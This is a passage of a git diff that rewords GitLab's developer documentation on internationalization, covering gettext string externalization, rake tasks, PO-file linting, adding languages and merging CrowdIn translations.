-- [`resolvers/error_tracking/sentry_errors_resolver.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb) which returns the data from the resolver.
+- [`resolvers/error_tracking/sentry_errors_resolver.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/resolvers/error_tracking/sentry_errors_resolver.rb) which returns the data from the resolver.
## Testing
diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md
index b177a7e0138..7ea8378b6db 100644
--- a/doc/development/i18n/externalization.md
+++ b/doc/development/i18n/externalization.md
@@ -10,16 +10,16 @@ info: To determine the technical writer assigned to the Stage/Group associated w
For working with internationalization (i18n),
[GNU gettext](https://www.gnu.org/software/gettext/) is used given it's the most
-used tool for this task and there are a lot of applications that help us
-work with it.
+used tool for this task and there are many applications that help us work with it.
NOTE:
-All `rake` commands described on this page must be run on a GitLab instance, usually GDK.
+All `rake` commands described on this page must be run on a GitLab instance. This instance is
+usually the GitLab Development Kit (GDK).
-## Setting up GitLab Development Kit (GDK)
+## Setting up the GitLab Development Kit (GDK)
-In order to be able to work on the [GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss)
-project you must download and configure it through [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/set-up-gdk.md).
+To work on the [GitLab Community Edition](https://gitlab.com/gitlab-org/gitlab-foss)
+project, you must download and configure it through the [GDK](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/main/doc/set-up-gdk.md).
After you have the GitLab project ready, you can start working on the translation.
@@ -27,34 +27,33 @@ After you have the GitLab project ready, you can start working on the translatio
The following tools are used:
-1. [`gettext_i18n_rails`](https://github.com/grosser/gettext_i18n_rails): this
- gem allow us to translate content from models, views and controllers. Also
- it gives us access to the following Rake tasks:
- - `rake gettext:find`: Parses almost all the files from the
- Rails application looking for content that has been marked for
- translation. Finally, it updates the PO files with the new content that
- it has found.
- - `rake gettext:pack`: Processes the PO files and generates the
- MO files that are binary and are finally used by the application.
-
-1. [`gettext_i18n_rails_js`](https://github.com/webhippie/gettext_i18n_rails_js):
- this gem is useful to make the translations available in JavaScript. It
- provides the following Rake task:
- - `rake gettext:po_to_json`: Reads the contents from the PO files and
- generates JSON files containing all the available translations.
-
-1. PO editor: there are multiple applications that can help us to work with PO
- files, a good option is [Poedit](https://poedit.net/download) which is
- available for macOS, GNU/Linux and Windows.
+- [`gettext_i18n_rails`](https://github.com/grosser/gettext_i18n_rails):
+ this gem allows us to translate content from models, views, and controllers. It also gives us
+ access to the following Rake tasks:
+
+ - `rake gettext:find`: parses almost all the files from the Rails application looking for content
+ marked for translation. It then updates the PO files with this content.
+ - `rake gettext:pack`: processes the PO files and generates the binary MO files that the
+ application uses.
+
+- [`gettext_i18n_rails_js`](https://github.com/webhippie/gettext_i18n_rails_js):
+ this gem makes the translations available in JavaScript. It provides the following Rake task:
+
+ - `rake gettext:po_to_json`: reads the contents of the PO files and generates JSON files that
+ contain all the available translations.
+
+- PO editor: there are multiple applications that can help us work with PO files. A good option is
+ [Poedit](https://poedit.net/download),
+ which is available for macOS, GNU/Linux, and Windows.
## Preparing a page for translation
-We basically have 4 types of files:
+There are four file types:
-1. Ruby files: basically Models and Controllers.
-1. HAML files: these are the view files.
-1. ERB files: used for email templates.
-1. JavaScript files: we mostly need to work with Vue templates.
+- Ruby files: models and controllers.
+- HAML files: view files.
+- ERB files: used for email templates.
+- JavaScript files: we mostly work with Vue templates.
### Ruby files
@@ -72,7 +71,7 @@ Or:
hello = "Hello world!"
```
-You can easily mark that content for translation with:
+You can mark that content for translation with:
```ruby
def hello
@@ -86,26 +85,21 @@ Or:
hello = _("Hello world!")
```
-Be careful when translating strings at the class or module level since these would only be
-evaluated once at class load time.
-
-For example:
+Be careful when translating strings at the class or module level since these are only evaluated once
+at class load time. For example:
```ruby
validates :group_id, uniqueness: { scope: [:project_id], message: _("already shared with this group") }
```
-This would be translated when the class is loaded and result in the error message
-always being in the default locale.
-
-Active Record's `:message` option accepts a `Proc`, so we can do this instead:
+This is translated when the class loads and results in the error message always being in the default
+locale. Active Record's `:message` option accepts a `Proc`, so do this instead:
```ruby
validates :group_id, uniqueness: { scope: [:project_id], message: -> (object, data) { _("already shared with this group") } }
```
-Messages in the API (`lib/api/` or `app/graphql`) do
-not need to be externalized.
+Messages in the API (`lib/api/` or `app/graphql`) do not need to be externalized.
### HAML files
@@ -145,13 +139,20 @@ import { __ } from '~/locale';
const label = __('Subscribe');
```
-In order to test JavaScript translations you have to change the GitLab
-localization to another language than English and you have to generate JSON files
-using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`.
+To test JavaScript translations you must:
+
+- Change the GitLab localization to a language other than English.
+- Generate JSON files by using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`.
### Vue files
-In Vue files we make both the `__()` (double underscore parenthesis) function and the `s__()` (namespaced double underscore parenthesis) function available that you can import from the `~/locale` file. For instance:
+In Vue files, we make the following functions available:
+
+- `__()` (double underscore parenthesis)
+- `s__()` (namespaced double underscore parenthesis)
+
+You can therefore import from the `~/locale` file.
+For example:
```javascript
import { __, s__ } from '~/locale';
@@ -228,24 +229,24 @@ For the static text strings we suggest two patterns for using these translations
</template>
```
-In order to visually test the Vue translations you have to change the GitLab
-localization to another language than English and you have to generate JSON files
-using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`.
+To visually test the Vue translations:
-### Dynamic translations
+1. Change the GitLab localization to another language than English.
+1. Generate JSON files using `bin/rake gettext:po_to_json` or `bin/rake gettext:compile`.
-Sometimes there are some dynamic translations that can't be found by the
-parser when running `bin/rake gettext:find`. For these scenarios you can
-use the [`N_` method](https://github.com/grosser/gettext_i18n_rails/blob/c09e38d481e0899ca7d3fc01786834fa8e7aab97/Readme.md#unfound-translations-with-rake-gettextfind).
+### Dynamic translations
-There is also and alternative method to [translate messages from validation errors](https://github.com/grosser/gettext_i18n_rails/blob/c09e38d481e0899ca7d3fc01786834fa8e7aab97/Readme.md#option-a).
+Sometimes there are dynamic translations that the parser can't find when running
+`bin/rake gettext:find`. For these scenarios you can use the [`N_` method](https://github.com/grosser/gettext_i18n_rails/blob/c09e38d481e0899ca7d3fc01786834fa8e7aab97/Readme.md#unfound-translations-with-rake-gettextfind).
+There's also an alternative method to [translate messages from validation errors](https://github.com/grosser/gettext_i18n_rails/blob/c09e38d481e0899ca7d3fc01786834fa8e7aab97/Readme.md#option-a).
## Working with special content
### Interpolation
-Placeholders in translated text should match the code style of the respective source file.
-For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make sure to [avoid splitting sentences when adding links](#avoid-splitting-sentences-when-adding-links).
+Placeholders in translated text should match the respective source file's code style. For example
+use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make sure to
+[avoid splitting sentences when adding links](#avoid-splitting-sentences-when-adding-links).
- In Ruby/HAML:
@@ -257,9 +258,9 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s
Use the [`GlSprintf`](https://gitlab-org.gitlab.io/gitlab-ui/?path=/docs/utilities-sprintf--sentence-with-link) component if:
- - you need to include child components in the translation string.
- - you need to include HTML in your translation string.
- - you are using `sprintf` and need to pass `false` as the third argument to
+ - You need to include child components in the translation string.
+ - You need to include HTML in your translation string.
+ - You're using `sprintf` and need to pass `false` as the third argument to
prevent it from escaping placeholder values.
For example:
@@ -272,7 +273,7 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s
</gl-sprintf>
```
- In other cases it may be simpler to use `sprintf`, perhaps in a computed
+ In other cases, it might be simpler to use `sprintf`, perhaps in a computed
property. For example:
```html
@@ -344,7 +345,8 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s
# => When size == 2: 'There are 2 mice.'
```
- Avoid using `%d` or count variables in singular strings. This allows more natural translation in some languages.
+ Avoid using `%d` or count variables in singular strings. This allows more natural translation in
+ some languages.
- In JavaScript:
@@ -363,13 +365,12 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s
The `n_` method should only be used to fetch pluralized translations of the same
string, not to control the logic of showing different strings for different
-quantities. Some languages have different quantities of target plural forms -
-Chinese (simplified), for example, has only one target plural form in our
-translation tool. This means the translator would have to choose to translate
-only one of the strings and the translation would not behave as intended in the
-other case.
+quantities. Some languages have different quantities of target plural forms.
+For example, Chinese (simplified) has only one target plural form in our
+translation tool. This means the translator has to choose to translate only one
+of the strings, and the translation doesn't behave as intended in the other case.
-For example, prefer to use:
+For example, use this:
```ruby
if selected_projects.one?
@@ -379,7 +380,7 @@ else
end
```
-rather than:
+Instead of this:
```ruby
# incorrect usage example
@@ -388,21 +389,22 @@ n_("%{project_name}", "%d projects selected", count) % { project_name: 'GitLab'
### Namespaces
-A namespace is a way to group translations that belong together. They provide context to our translators by adding a prefix followed by the bar symbol (`|`). For example:
+A namespace is a way to group translations that belong together. They provide context to our
+translators by adding a prefix followed by the bar symbol (`|`). For example:
```ruby
'Namespace|Translated string'
```
-A namespace provide the following benefits:
+A namespace:
-- It addresses ambiguity in words, for example: `Promotions|Promote` vs `Epic|Promote`
-- It allows translators to focus on translating externalized strings that belong to the same product area rather than arbitrary ones.
-- It gives a linguistic context to help the translator.
+- Addresses ambiguity in words. For example: `Promotions|Promote` vs `Epic|Promote`.
+- Allows translators to focus on translating externalized strings that belong to the same product
+ area, rather than arbitrary ones.
+- Gives a linguistic context to help the translator.
-In some cases, namespaces don't make sense, for example,
-for ubiquitous UI words and phrases such as "Cancel" or phrases like "Save changes" a namespace could
-be counterproductive.
+In some cases, namespaces don't make sense. For example, for ubiquitous UI words and phrases such as
+"Cancel" or phrases like "Save changes," a namespace could be counterproductive.
Namespaces should be PascalCase.
@@ -412,7 +414,7 @@ Namespaces should be PascalCase.
s_('OpenedNDaysAgo|Opened')
```
- In case the translation is not found it returns `Opened`.
+ If the translation isn't found, `Opened` is returned.
- In JavaScript:
@@ -420,18 +422,19 @@ Namespaces should be PascalCase.
s__('OpenedNDaysAgo|Opened')
```
-The namespace should be removed from the translation. See the
-[translation guidelines for more details](translation.md#namespaced-strings).
+The namespace should be removed from the translation. For more details, see the
+[translation guidelines](translation.md#namespaced-strings).
### HTML
-We no longer include HTML directly in the strings that are submitted for translation. This is for a couple of reasons:
+We no longer include HTML directly in the strings that are submitted for translation. This is
+because:
-1. It introduces a chance for the translated string to accidentally include invalid HTML.
-1. It introduces a security risk where translated strings become an attack vector for XSS, as noted by the
+1. The translated string can accidentally include invalid HTML.
+1. Translated strings can become an attack vector for XSS, as noted by the
[Open Web Application Security Project (OWASP)](https://owasp.org/www-community/attacks/xss/).
-To include formatting in the translated string, we can do the following:
+To include formatting in the translated string, you can do the following:
- In Ruby/HAML:
@@ -449,18 +452,18 @@ To include formatting in the translated string, we can do the following:
// => 'Some <strong>bold</strong> text.'
```
-- In Vue
+- In Vue:
See the section on [interpolation](#interpolation).
-When [this translation helper issue](https://gitlab.com/gitlab-org/gitlab/-/issues/217935) is complete, we plan to update the
-process of including formatting in translated strings.
+When [this translation helper issue](https://gitlab.com/gitlab-org/gitlab/-/issues/217935)
+is complete, we plan to update the process of including formatting in translated strings.
#### Including Angle Brackets
-If a string contains angles brackets (`<`/`>`) that are not used for HTML, it is still flagged by the
-`rake gettext:lint` linter.
-To avoid this error, use the applicable HTML entity code (`&lt;` or `&gt;`) instead:
+If a string contains angle brackets (`<`/`>`) that are not used for HTML, the `rake gettext:lint`
+linter still flags it. To avoid this error, use the applicable HTML entity code (`&lt;` or `&gt;`)
+instead:
- In Ruby/HAML:
@@ -493,12 +496,12 @@ To avoid this error, use the applicable HTML entity code (`&lt;` or `&gt;`) inst
### Numbers
-Different locales may use different number formats. To support localization of numbers, we use `formatNumber`,
-which leverages [`toLocaleString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toLocaleString).
+Different locales may use different number formats. To support localization of numbers, we use
+`formatNumber`, which leverages [`toLocaleString()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toLocaleString).
-`formatNumber` formats numbers as strings using the current user locale by default.
+By default, `formatNumber` formats numbers as strings using the current user locale.
-- In JavaScript
+- In JavaScript:
```javascript
import { formatNumber } from '~/locale';
@@ -509,7 +512,7 @@ const tenThousand = formatNumber(10000); // "10,000" (uses comma as decimal symb
const fiftyPercent = formatNumber(0.5, { style: 'percent' }) // "50%" (other options are passed to toLocaleString)
```
-- In Vue templates
+- In Vue templates:
```html
<script>
@@ -546,27 +549,29 @@ console.log(dateFormat.format(new Date('2063-04-05'))) // April 5, 2063
This makes use of [`Intl.DateTimeFormat`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Intl/DateTimeFormat).
-- In Ruby/HAML, we have two ways of adding format to dates and times:
+- In Ruby/HAML, there are two ways of adding format to dates and times:
- 1. **Through the `l` helper**, i.e. `l(active_session.created_at, format: :short)`. We have some predefined formats for
- [dates](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L54) and [times](https://gitlab.com/gitlab-org/gitlab/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L262).
- If you need to add a new format, because other parts of the code could benefit from it,
- you can add it to [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) file.
- 1. **Through `strftime`**, i.e. `milestone.start_date.strftime('%b %-d')`. We use `strftime` in case none of the formats
- defined on [en.yml](https://gitlab.com/gitlab-org/gitlab/blob/master/config/locales/en.yml) matches the date/time
- specifications we need, and if there is no need to add it as a new format because is very particular (i.e. it's only used in a single view).
+ - **Using the `l` helper**: for example, `l(active_session.created_at, format: :short)`. We have
+ some predefined formats for [dates](https://gitlab.com/gitlab-org/gitlab/-/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L54)
+ and [times](https://gitlab.com/gitlab-org/gitlab/-/blob/4ab54c2233e91f60a80e5b6fa2181e6899fdcc3e/config/locales/en.yml#L262).
+ If you need to add a new format, because other parts of the code could benefit from it, add it
+ to the file [`en.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/locales/en.yml).
+ - **Using `strftime`**: for example, `milestone.start_date.strftime('%b %-d')`. We use `strftime`
+ in case none of the formats defined in [`en.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/locales/en.yml)
+ match the date/time specifications we need, and if there's no need to add it as a new format
+ because it's very particular (for example, it's only used in a single view).
## Best practices
### Minimize translation updates
-Updates can result in the loss of the translations for this string. To minimize risks,
-avoid changes to strings, unless they:
+Updates can result in the loss of the translations for this string. To minimize risks, avoid changes
+to strings unless they:
-- Add value to the user.
+- Add value for the user.
- Include extra context for translators.
-For example, we should avoid changes like this:
+For example, avoid changes like this:
```diff
- _('Number of things: %{count}') % { count: 10 }
@@ -582,9 +587,10 @@ Examples:
- Mappings for a dropdown list
- Error messages
-To store these kinds of data, using a constant seems like the best choice, however this doesn't work for translations.
+To store these kinds of data, using a constant seems like the best choice. However, this doesn't
+work for translations.
-Bad, avoid it:
+For example, avoid this:
```ruby
class MyPresenter
@@ -596,11 +602,13 @@ class MyPresenter
end
```
-The translation method (`_`) is called when the class is loaded for the first time and translates the text to the default locale. Regardless of the user's locale, these values are not translated a second time.
+The translation method (`_`) is called when the class loads for the first time and translates the
+text to the default locale. Regardless of the user's locale, these values are not translated a
+second time.
-Similar thing happens when using class methods with memoization.
+A similar thing happens when using class methods with memoization.
-Bad, avoid it:
+For example, avoid this:
```ruby
class MyModel
@@ -614,7 +622,7 @@ class MyModel
end
```
-This method memorizes the translations using the locale of the user, who first "called" this method.
+This method memoizes the translations using the locale of the user who first called this method.
To avoid these problems, keep the translations dynamic.
@@ -634,10 +642,10 @@ end
### Splitting sentences
-Please never split a sentence as that would assume the sentence grammar and
-structure is the same in all languages.
+Never split a sentence, as it assumes the sentence's grammar and structure is the same in all
+languages.
-For instance, the following:
+For example, this:
```javascript
{{ s__("mrWidget|Set by") }}
@@ -645,7 +653,7 @@ For instance, the following:
{{ s__("mrWidget|to be merged automatically when the pipeline succeeds") }}
```
-should be externalized as follows:
+Should be externalized as follows:
```javascript
{{ sprintf(s__("mrWidget|Set by %{author} to be merged automatically when the pipeline succeeds"), { author: author.name }) }}
@@ -653,7 +661,8 @@ should be externalized as follows:
#### Avoid splitting sentences when adding links
-This also applies when using links in between translated sentences, otherwise these texts are not translatable in certain languages.
+This also applies when using links in between translated sentences. Otherwise, these texts are not
+translatable in certain languages.
- In Ruby/HAML, instead of:
@@ -662,7 +671,7 @@ This also applies when using links in between translated sentences, otherwise th
= s_('ClusterIntegration|Learn more about %{zones_link}').html_safe % { zones_link: zones_link }
```
- Set the link starting and ending HTML fragments as variables like so:
+ Set the link starting and ending HTML fragments as variables:
```haml
- zones_link_url = 'https://cloud.google.com/compute/docs/regions-zones/regions-zones'
@@ -687,7 +696,7 @@ This also applies when using links in between translated sentences, otherwise th
</template>
```
- Set the link starting and ending HTML fragments as placeholders like so:
+ Set the link starting and ending HTML fragments as placeholders:
```html
<template>
@@ -714,7 +723,7 @@ This also applies when using links in between translated sentences, otherwise th
}}
```
- Set the link starting and ending HTML fragments as placeholders like so:
+ Set the link starting and ending HTML fragments as placeholders:
```javascript
{{
@@ -725,50 +734,47 @@ This also applies when using links in between translated sentences, otherwise th
}}
```
-The reasoning behind this is that in some languages words change depending on context. For example in Japanese 㯠is added to the subject of a sentence and を to the object. This is impossible to translate correctly if we extract individual words from the sentence.
+The reasoning behind this is that in some languages words change depending on context. For example,
+in Japanese 㯠is added to the subject of a sentence and を to the object. This is impossible to
+translate correctly if you extract individual words from the sentence.
-When in doubt, try to follow the best practices described in this [Mozilla
-Developer documentation](https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Localization_content_best_practices#Splitting).
+When in doubt, try to follow the best practices described in this [Mozilla Developer documentation](https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Localization_content_best_practices#Splitting).
## Updating the PO files with the new content
-Now that the new content is marked for translation, we need to update
-`locale/gitlab.pot` files with the following command:
+Now that the new content is marked for translation, run this command to update the
+`locale/gitlab.pot` files:
```shell
bin/rake gettext:regenerate
```
-This command updates `locale/gitlab.pot` file with the newly externalized
-strings and remove any strings that aren't used anymore. You should check this
-file in. Once the changes are on the default branch, they are picked up by
-[CrowdIn](https://translate.gitlab.com) and be presented for
-translation.
+This command updates the `locale/gitlab.pot` file with the newly externalized strings and removes
+any unused strings. Once the changes are on the default branch, [CrowdIn](https://translate.gitlab.com)
+picks them up and presents them for translation.
-We don't need to check in any changes to the `locale/[language]/gitlab.po` files.
-They are updated automatically when [translations from CrowdIn are merged](merging_translations.md).
+You don't need to check in any changes to the `locale/[language]/gitlab.po` files. They are updated
+automatically when [translations from CrowdIn are merged](merging_translations.md).
-If there are merge conflicts in the `gitlab.pot` file, you can delete the file
-and regenerate it using the same command.
+If there are merge conflicts in the `gitlab.pot` file, you can delete the file and regenerate it
+using the same command.
### Validating PO files
-To make sure we keep our translation files up to date, there's a linter that is
-running on CI as part of the `static-analysis` job.
-
-To lint the adjustments in PO files locally you can run `rake gettext:lint`.
+To make sure we keep our translation files up to date, there's a linter that runs on CI as part of
+the `static-analysis` job. To lint the adjustments in PO files locally, you can run
+`rake gettext:lint`.
The linter takes the following into account:
-- Valid PO-file syntax
-- Variable usage
- - Only one unnamed (`%d`) variable, since the order of variables might change
- in different languages
- - All variables used in the message ID are used in the translation
- - There should be no variables used in a translation that aren't in the
- message ID
+- Valid PO-file syntax.
+- Variable usage.
+ - Only one unnamed (`%d`) variable, since the order of variables might change in different
+ languages.
+ - All variables used in the message ID are used in the translation.
+ - There should be no variables used in a translation that aren't in the message ID.
- Errors during translation.
-- Presence of angle brackets (`<` or `>`)
+- Presence of angle brackets (`<` or `>`).
The errors are grouped per file, and per message ID:
@@ -789,9 +795,8 @@ Errors in `locale/zh_TW/gitlab.po`:
Failure translating to zh_TW with []: too few arguments
```
-In this output the `locale/zh_HK/gitlab.po` has syntax errors.
-The `locale/zh_TW/gitlab.po` has variables that are used in the translation that
-aren't in the message with ID `1 pipeline`.
+In this output, `locale/zh_HK/gitlab.po` has syntax errors. The file `locale/zh_TW/gitlab.po` has
+variables in the translation that aren't in the message with ID `1 pipeline`.
## Adding a new language
@@ -803,9 +808,9 @@ NOTE:
[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/221012) in GitLab 13.3:
Languages with less than 2% of translations are not available in the UI.
-Let's suppose you want to add translations for a new language, let's say French.
+Suppose you want to add translations for a new language, for example, French:
-1. The first step is to register the new language in `lib/gitlab/i18n.rb`:
+1. Register the new language in `lib/gitlab/i18n.rb`:
```ruby
...
@@ -816,38 +821,33 @@ Let's suppose you want to add translations for a new language, let's say French.
...
```
-1. Next, you need to add the language:
+1. Add the language:
```shell
bin/rake gettext:add_language[fr]
```
- If you want to add a new language for a specific region, the command is similar,
- you just need to separate the region with an underscore (`_`). For example:
+ If you want to add a new language for a specific region, the command is similar. You must
+ separate the region with an underscore (`_`), specify the region in capital letters. For example:
```shell
bin/rake gettext:add_language[en_GB]
```
- Please note that you need to specify the region part in capitals.
-
-1. Now that the language is added, a new directory has been created under the
- path: `locale/fr/`. You can now start using your PO editor to edit the PO file
- located in: `locale/fr/gitlab.edit.po`.
+1. Adding the language also creates a new directory at the path `locale/fr/`. You can now start
+ using your PO editor to edit the PO file located at `locale/fr/gitlab.edit.po`.
-1. After you're done updating the translations, you need to process the PO files
- in order to generate the binary MO files and finally update the JSON files
- containing the translations:
+1. After updating the translations, you must process the PO files to generate the binary MO files,
+ and update the JSON files containing the translations:
```shell
bin/rake gettext:compile
```
-1. In order to see the translated content we need to change our preferred language
- which can be found under the user's **Settings** (`/profile`).
+1. To see the translated content, you must change your preferred language. You can find this under
+ the user's **Settings** (`/profile`).
-1. After checking that the changes are ok, you can proceed to commit the new files.
- For example:
+1. After checking that the changes are ok, commit the new files. For example:
```shell
git add locale/fr/ app/assets/javascripts/locale/fr/
diff --git a/doc/development/i18n/index.md b/doc/development/i18n/index.md
index b0e34052d2a..c22bb6ff020 100644
--- a/doc/development/i18n/index.md
+++ b/doc/development/i18n/index.md
@@ -6,52 +6,49 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Translate GitLab to your language
-The text in the GitLab user interface is in American English by default.
-Each string can be translated to other languages.
-As each string is translated, it is added to the languages translation file,
-and is made available in future releases of GitLab.
+The text in the GitLab user interface is in American English by default. Each string can be
+translated to other languages. As each string is translated, it's added to the languages translation
+file and made available in future GitLab releases.
-Contributions to translations are always needed.
-Many strings are not yet available for translation because they have not been externalized.
-Helping externalize strings benefits all languages.
-Some translations are incomplete or inconsistent.
-Translating strings helps complete and improve each language.
-
-## How to contribute
+Contributions to translations are always needed. Many strings are not yet available for translation
+because they have not been externalized. Helping externalize strings benefits all languages. Some
+translations are incomplete or inconsistent. Translating strings helps complete and improve each
+language.
There are many ways you can contribute in translating GitLab.
-### Externalize strings
+## Externalize strings
-Before a string can be translated, it must be externalized.
-This is the process where English strings in the GitLab source code are wrapped in a function that
-retrieves the translated string for the user's language.
+Before a string can be translated, it must be externalized. This is the process where English
+strings in the GitLab source code are wrapped in a function that retrieves the translated string for
+the user's language.
-As new features are added and existing features are updated, the surrounding strings are being
-externalized, however, there are many parts of GitLab that still need more work to externalize all
+As new features are added and existing features are updated, the surrounding strings are
+externalized. However, there are many parts of GitLab that still need more work to externalize all
strings.
See [Externalization for GitLab](externalization.md).
-### Translate strings
+## Translate strings
-The translation process is managed at <https://translate.gitlab.com>
+The translation process is managed at [https://translate.gitlab.com](https://translate.gitlab.com)
using [CrowdIn](https://crowdin.com/).
-You need to create an account before you can submit translations.
-Once you are signed in, select the language you wish to contribute translations to.
+You must create a CrowdIn account before you can submit translations. Once you are signed in, select
+the language you wish to contribute translations to.
-Voting for translations is also valuable, helping to confirm good and flag inaccurate translations.
+Voting for translations is also valuable, helping to confirm good translations and flag inaccurate
+ones.
See [Translation guidelines](translation.md).
-### Proofreading
+## Proofreading
-Proofreading helps ensure the accuracy and consistency of translations. All
-translations are proofread before being accepted. If a translations requires
-changes, you are notified with a comment explaining why.
+Proofreading helps ensure the accuracy and consistency of translations. All translations are
+proofread before being accepted. If a translation requires changes, a comment explaining why
+notifies you.
-See [Proofreading Translations](proofreader.md) for more information on who's
-able to proofread and instructions on becoming a proofreader yourself.
+See [Proofreading Translations](proofreader.md) for more information on who can proofread and
+instructions on becoming a proofreader yourself.
## Release
diff --git a/doc/development/i18n/merging_translations.md b/doc/development/i18n/merging_translations.md
index 48474a68d16..e3211f5a8fc 100644
--- a/doc/development/i18n/merging_translations.md
+++ b/doc/development/i18n/merging_translations.md
@@ -9,43 +9,42 @@ info: To determine the technical writer assigned to the Stage/Group associated w
CrowdIn automatically syncs the `gitlab.pot` file with the CrowdIn service, presenting
newly added externalized strings to the community of translators.
-[GitLab CrowdIn Bot](https://gitlab.com/gitlab-crowdin-bot) also creates merge requests
+The [GitLab CrowdIn Bot](https://gitlab.com/gitlab-crowdin-bot) also creates merge requests
to take newly approved translation submissions and merge them into the `locale/<language>/gitlab.po`
-files. Check the [merge requests created by `gitlab-crowdin-bot`](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&utf8=%E2%9C%93&state=opened&author_username=gitlab-crowdin-bot)
+files. Check the [merge requests created by `gitlab-crowdin-bot`](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=opened&author_username=gitlab-crowdin-bot)
to see new and merged merge requests.
## Validation
By default CrowdIn commits translations with `[skip ci]` in the commit
-message. This is done to avoid a bunch of pipelines being run. Before
-merging translations, make sure to trigger a pipeline to validate
-translations, we have static analysis validating things CrowdIn
-doesn't do. Create a new pipeline at `https://gitlab.com/gitlab-org/gitlab/pipelines/new`
-(need Developer access permissions) for the `master-i18n` branch.
+message. This avoids an excessive number of pipelines from running.
+Before merging translations, make sure to trigger a pipeline to validate
+translations. Static analysis validates things CrowdIn doesn't do. Create
+a new pipeline at [`https://gitlab.com/gitlab-org/gitlab/pipelines/new`](https://gitlab.com/gitlab-org/gitlab/pipelines/new)
+(need developer permissions) for the `master-i18n` branch.
If there are validation errors, the easiest solution is to disapprove
the offending string in CrowdIn, leaving a comment with what is
-required to fix the offense. There is an
+required to fix the errors. There's an
[issue](https://gitlab.com/gitlab-org/gitlab/-/issues/23256)
-suggesting to automate this process. Disapproving excludes the
-invalid translation, the merge request is then updated within a few
+that suggests automating this process. Disapproving excludes the
+invalid translation. The merge request is then updated within a few
minutes.
-If the translation has failed validation due to angle brackets `<` or `>`
-it should be disapproved on CrowdIn as our strings should be
-using [variables](externalization.md#html) for HTML instead.
+If the translation fails validation due to angle brackets (`<` or `>`),
+it should be disapproved in CrowdIn. Our strings must use [variables](externalization.md#html)
+for HTML instead.
-It might be handy to pause the integration on the CrowdIn side for a
-little while so translations don't keep coming. This can be done by
-clicking `Pause sync` on the [CrowdIn integration settings
-page](https://translate.gitlab.com/project/gitlab-ee/settings#integration).
+It might be useful to pause the integration on the CrowdIn side for a
+moment so translations don't keep coming. You can do this by clicking
+**Pause sync** on the [CrowdIn integration settings page](https://translate.gitlab.com/project/gitlab-ee/settings#integration).
## Merging translations
After all translations are determined to be appropriate and the pipelines pass,
you can merge the translations into the default branch. When merging translations,
-be sure to select the **Remove source branch** check box, which causes CrowdIn
-to recreate the `master-i18n` from the default branch after merging the new
+be sure to select the **Remove source branch** checkbox. This causes CrowdIn
+to recreate the `master-i18n` branch from the default branch after merging the new
translation.
We are discussing [automating this entire process](https://gitlab.com/gitlab-org/gitlab/-/issues/19896).
@@ -54,10 +53,8 @@ We are discussing [automating this entire process](https://gitlab.com/gitlab-org
CrowdIn creates a new merge request as soon as the old one is closed
or merged. But it does not recreate the `master-i18n` branch every
-time. To force CrowdIn to recreate the branch, close any [open merge
-request](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&utf8=%E2%9C%93&state=opened&author_username=gitlab-crowdin-bot)
-and delete the
-[`master-18n`](https://gitlab.com/gitlab-org/gitlab/-/branches/all?utf8=✓&search=master-i18n).
+time. To force CrowdIn to recreate the branch, close any [open merge requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests?scope=all&state=opened&author_username=gitlab-crowdin-bot)
+and delete the [`master-18n`](https://gitlab.com/gitlab-org/gitlab/-/branches/all?utf8=✓&search=master-i18n) branch.
This might be needed when the merge request contains failures that
have been fixed on the default branch.
@@ -76,8 +73,8 @@ recreate it with the following steps:
1. Sign in to CrowdIn with the GitLab integration.
1. Go to **Settings > Integrations > GitLab > Set Up Integration**.
1. Select the `gitlab-org/gitlab` repository.
-1. In `Select Branches for Translation`, select `master`.
-1. Ensure the `Service Branch Name` is `master-i18n`.
+1. In **Select Branches for Translation**, select `master`.
+1. Ensure the **Service Branch Name** is `master-i18n`.
## Manually update the translation levels
@@ -85,3 +82,9 @@ There's no automated way to pull the translation levels from CrowdIn, to display
this information in the language selection dropdown. Therefore, the translation
levels are hard-coded in the `TRANSLATION_LEVELS` constant in [`i18n.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/i18n.rb),
and must be regularly updated.
+
+To update the translation levels:
+
+1. Get the translation levels (percentage of approved words) from [Crowdin](https://crowdin.com/project/gitlab-ee/settings#translations).
+
+1. Update the hard-coded translation levels in [`i18n.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/i18n.rb#L40).
diff --git a/doc/development/i18n/proofreader.md b/doc/development/i18n/proofreader.md
